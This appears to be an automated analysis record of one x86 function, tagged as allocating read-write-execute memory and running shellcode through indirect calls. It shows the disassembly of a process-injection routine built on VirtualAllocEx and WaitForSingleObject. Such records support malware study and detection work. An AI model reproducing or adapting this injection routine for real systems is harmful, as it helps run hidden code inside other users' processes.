Function at 0x4c31e7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 4], 0
push 8
call fcn.0052cda3
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x60], ebx
mov ebx, dword [ebp - 0x60]
mov dword [ebx], 0x457
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x68], 0
push 0
lea eax, [ebp - 0x68]
push eax
call fcn.004c37a2
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x4c32f9
push ebx
call fcn.0052cda9
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x4c3309
push ebx
call fcn.0052cda9
add esp, 4
mov eax, dword [ebp - 0x6c]
mov ebx, dword [ebp - 0x60]
mov dword [ebx], eax
push dword [ebp + 0xc]
call fcn.004c3861
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov dword [ebp - 0x68], 0
push 0
push dword [ebp - 0x68]
push dword [ebp - 0x60]
call fcn.004c387d
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4c3353
push ebx
call fcn.0052cda9
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov eax, 0x976fd7
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x60]
push eax
call fcn.004c3a2c
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x4c337b
push ebx
call fcn.0052cda9
add esp, 4
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_getpeername
push 0
push 0x976fd7
push 1
mov ebx, 0x194
call fcn.0052dc00
add esp, 0x10
mov dword [ebp - 0x14], eax
call fcn.004a4f06
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], 0xb20
push 0x80000301
push 0
push dword [ebp - 0x20]
push 1
mov ebx, 0x1bc
call fcn.0052dbd0
add esp, 0x10
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4c33e7
push ebx
call fcn.0052cda9
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.004c3a2c
mov dword [ebp - 0x28], eax
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.0052e950
add esp, 0x1c
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], esp
push 0x40
push dword [ebp - 0x60]
push 0x1000
push 0
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x64], esp
je 0x4c3462
push 0x255
push 0x4020338
push 6
call fcn.0052cdaf
add esp, 0xc
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x4c3474
jmp 0x4c3721
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x6c]
fadd qword [ebp - 0x6c]
fstp qword [ebp - 0x74]
fld qword [ebp - 0x74]
call fcn.00499dde
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x60], esp
push 0
mov eax, dword [ebp - 0x14]
cdq
push edx
push eax
push dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0xafe81a]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4c34e0
push 0x37a
push 0x4020338
push 6
call fcn.0052cdaf
add esp, 0xc
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x4c34f2
jmp 0x4c3721
mov dword [ebp - 0x38], 8
push 0
push 0x278
push dword [ebp - 0x28]
call fcn.004c3a53
lea eax, [ebp - 0xc]
push eax
call fcn.004c3a2c
mov dword [ebp - 0x60], eax
lea eax, [ebp - 8]
push eax
call fcn.004c3a79
mov dword [ebp - 0x64], eax
push dword [ebp - 0x38]
push dword [ebp - 0x64]
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x60]
push dword [ebp - 0x28]
call fcn.004c3a95
mov dword [ebp - 0x60], esp
push 0
mov eax, dword [ebp - 0x20]
cdq
push edx
push eax
push dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0xafe81a]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4c3578
push 0x527
push 0x4020338
push 6
call fcn.0052cdaf
add esp, 0xc
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x4c358a
jmp 0x4c3721
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 4]
lea eax, [ebp - 0x44]
push eax
call fcn.004c3d46
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x4c35ae
jmp 0x4c3721
mov dword [ebp - 0x60], esp
push 0xffffffff
push dword [ebp - 0x44]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4c35df
push 0xace
push 0x4020338
push 6
call fcn.0052cdaf
add esp, 0xc
mov dword [ebp - 0x60], esp
push dword [ebp - 0x44]
call dword [sym.imp.kernel32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4c360b
push 0xaed
push 0x4020338
push 6
call fcn.0052cdaf
add esp, 0xc
fild dword [ebp - 0x34]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
fadd qword [0x977143]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
call fcn.00499dde
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x50]
push eax
call fcn.004c3fd6
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], esp
push 0
push 0
push 8
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0xafe81e]
nop
nop
nop
nop
cmp dword [ebp - 0x64], esp
je 0x4c3678
push 0xbaa
push 0x4020338
push 6
call fcn.0052cdaf
add esp, 0xc
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x4c368a
jmp 0x4c3721
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
fild dword [ebp - 0x34]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
fadd qword [0x97714b]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
call fcn.00499dde
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x58]
push eax
call fcn.004c3fd6
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], esp
push 0
push 0
push 8
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0xafe81e]
nop
nop
nop
nop
cmp dword [ebp - 0x64], esp
je 0x4c3705
push 0xcbb
push 0x4020338
push 6
call fcn.0052cdaf
add esp, 0xc
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x4c3717
jmp 0x4c3721
jmp 0x4c3721
cmp dword [ebp - 0x2c], 0
je 0x4c3748
push 0x8000
push 0
push 0
mov eax, dword [ebp - 0x2c]
cdq
push edx
push eax
push dword [ebp - 4]
call fcn.004b6b7a
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov dword [ebp + 0x10], eax
mov dword [ebp + 0x14], edx
mov eax, 1
jmp 0x4c375e
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.0052cda9
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4c377b
push ebx
call fcn.0052cda9
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4c378b
push ebx
call fcn.0052cda9
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4c379b
push ebx
call fcn.0052cda9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10